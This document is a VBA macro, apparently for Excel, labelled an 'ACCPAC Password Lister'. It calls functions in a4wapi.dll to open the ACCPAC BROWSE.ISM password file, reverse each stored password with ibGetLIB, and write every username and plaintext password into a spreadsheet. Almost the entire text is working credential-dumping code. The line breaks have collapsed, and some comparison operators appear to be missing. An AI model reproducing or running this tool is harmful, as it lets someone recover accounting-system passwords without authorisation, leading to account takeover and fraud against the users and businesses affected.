' ACCPAC Password Lister ' ' passwords are stored using a reversible algorithm, and can be easily obtained by calling the relevant API functions
Declare Function isamOpen Lib "a4wapi.dll" (ByVal pszFile As Long, ByVal unkZero As Long, ByRef handle As Long) As Long Declare Function isamClose Lib "a4wapi.dll" (ByVal handle As Long) As Long Declare Function isamBrowse Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal unkZero As Long, ByVal unkOne As Long) As Long Declare Function isamFetch Lib "a4wapi.dll" (ByVal handle As Long, ByVal pszKey As Long, ByVal pBuffer1 As Long, ByVal pBuffer2 As Long, ByVal unkZero As Long) As Long Declare Function isamEndBrowse Lib "a4wapi.dll" (ByVal handle As Long) As Long Declare Function ibGetLIB Lib "a4wapi.dll" (ByVal size As Long, ByVal pIn As Long, ByVal pOut As Long) As Long
' XXX - change this to the location of BROWSE.ISM Const PASSWORD_PATH = "c:\accpac\shared\site\browse"
Sub GetAccpacPasswords()
Dim ret As Long Dim isamHandle As Long ' open password file ret = isamOpen(ASCIIStrPtr(PASSWORD_PATH), 0, isamHandle) If ret 0 Then MsgBox "isamOpen failed with error code " + ret Exit Sub End If ' start browse ret = isamBrowse(isamHandle, ASCIIStrPtr(" "), 0, 1) If ret 0 Then MsgBox "isamBrowse failed with error code " + ret Exit Sub End If With Sheet1 .Cells.Clear .Cells.NumberFormat = "@" .[A1] = "USERNAME" .[B1] = "PASSWORD" .[A1:B1].Font.Bold = True currentrow = 2 Do ' fetch result Dim buffer1(0 To 1024) As Byte Dim buffer2(0 To 1) As Long Dim skey As Long, bufptr1 As Long, bufptr2 As Long buffer1(0) = 80 buffer1(1) = 3 buffer1(6) = 32 buffer1(7) = 32 buffer1(8) = 32 buffer1(9) = 32 buffer1(10) = 32 buffer1(11) = 32 buffer1(12) = 32 buffer1(13) = 32 bufptr1 = VarPtr(buffer1(0)) bufptr2 = VarPtr(buffer2(0)) skey = VarPtr(buffer1(6)) ret = isamFetch(isamHandle, skey, bufptr1, bufptr2, 0) .Cells(currentrow, 1) = Trim(BytesToString(8, 6, buffer1())) ' reverse password If ret = 37 Then Dim buffer3(0 To 63) As Byte ret2 = ibGetLIB(64, VarPtr(buffer1(30)), VarPtr(buffer3(0))) .Cells(currentrow, 2) = Trim(BytesToString(64, 0, buffer3())) End If currentrow = currentrow + 1 Loop While ret = 37 .Cells.EntireColumn.AutoFit End With ' end browse ret = isamEndBrowse(isamHandle) ' close password file ret = isamClose(isamHandle) End Sub
Function ASCIIStrPtr(str As String) As Long
ASCIIStrPtr = StrPtr(StrConv(str, vbFromUnicode))
End Function
Function BytesToString(size As Long, start As Long, arr() As Byte) As String
BytesToString = "" For n = start To start + size - 1 BytesToString = BytesToString + Chr(arr(n)) Next n End Function